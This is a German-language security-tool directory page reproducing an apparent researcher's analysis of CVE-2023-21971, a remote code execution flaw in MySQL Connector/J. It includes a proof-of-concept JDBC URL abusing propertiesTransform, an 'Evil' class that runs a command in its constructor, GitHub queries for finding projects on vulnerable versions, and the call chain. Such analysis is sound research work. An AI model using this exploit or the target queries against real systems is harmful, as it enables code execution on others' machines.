Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-21971_Analysis — CVE-2023-21971 Connector/J RCE Analyse分析 | Kitploit
Tools/GitHubGitHub/avento/cve-2023-21971_analysis
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHubavento/cve-2023-21971_analysis

CVE-2023-21971_Analysis

CVE-2023-21971 Connector/J RCE Analyse分析

Repository anzeigen
32vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-21971 Connector/J RCE Analyse

Referenzen

Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk

New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access

MYSQL JDBC Deserialisierungsanalyse - 跳跳糖 (tttang.com)

Schwachstellenübersicht

Schwachstelle in den MySQL Connectors von Oracle MySQL (Komponente: Connector/J). Betroffene unterstützte Versionen sind 8.0.32 und früher. Eine schwer ausnutzbare Schwachstelle ermöglicht es einem Angreifer mit hohen Berechtigungen, über mehrere Protokolle auf das Netzwerk zuzugreifen, um den MySQL Connector zu kompromittieren. Ein erfolgreicher Angriff erfordert menschliches Eingreifen durch eine andere Person als den Angreifer. Ein erfolgreicher Angriff auf diese Schwachstelle kann zu unbefugten Fähigkeiten führen, die dazu führen, dass der MySQL Connector hängt oder häufig wiederholt abstürzt (vollständiger DOS), sowie zu unbefugten Aktualisierungen, Einfügungen oder Löschungen des Zugriffs auf bestimmte, vom MySQL Connector zugängliche Daten und zu unbefugtem Lesezugriff auf einen Teil der vom MySQL Connector zugänglichen Daten.

Auswirkungen:

  • betroffen: 8.0.32 und früher

Abfrage

Suchen Sie auf Github nach Projekten, die von mysql-connector-java abhängig sind.

root@kitploit:~
filename:pom.xml mysql-connector-java

Auf Github suchen, um Projekte zu finden, die eine bestimmte Version von mysql-connector-java verwenden.

root@kitploit:~
filename:pom.xml mysql-connector-java 8.0.32

PoC

root@kitploit:~
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");

Analyse

src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java

image-20230607113458073

Hier können wir offensichtlich den propertiesTransformClassName steuern, und beim Aufruf von newInstance() wird automatisch dessen parameterloser Konstruktor aufgerufen.

root@kitploit:~
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();

Offensichtlich kann man damit ein verifizierendes Demo schreiben.

Reproduktionsumgebung

Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)

root@kitploit:~
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.32</version>
</dependency>

Hier laden wir direkt die Jar-Datei herunter und importieren sie in die Libraries des IDEA-Projekts.

Test.java

root@kitploit:~
import java.sql.Connection;
import java.sql.DriverManager;

public class Test {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
    }
}

com.jeyiuwai.Evil

root@kitploit:~
package com.jeyiuwai;

import com.mysql.cj.conf.ConnectionPropertiesTransform;

import java.io.IOException;
import java.util.Properties;

public class Evil implements ConnectionPropertiesTransform {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override
    public Properties transformProperties(Properties properties) {
        return null;
    }
}

image-20230607144859000

Aber die Evil-Klasse wurde lokal erstellt, und in den Abhängigkeiten gibt es keine Klasse, die das Interface ConnectionPropertiesTransform implementiert. Ist das eine Schwachstelle, die kaum ausnutzbar ist?

image-20230607145253977

Durch Experimente haben wir festgestellt, dass die Evil-Klasse tatsächlich das ConnectionPropertiesTransform-Interface nicht implementieren muss, um Code auszuführen.

image-20230607145521241

Aufrufkette

root@kitploit:~
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test
Tool herunterladen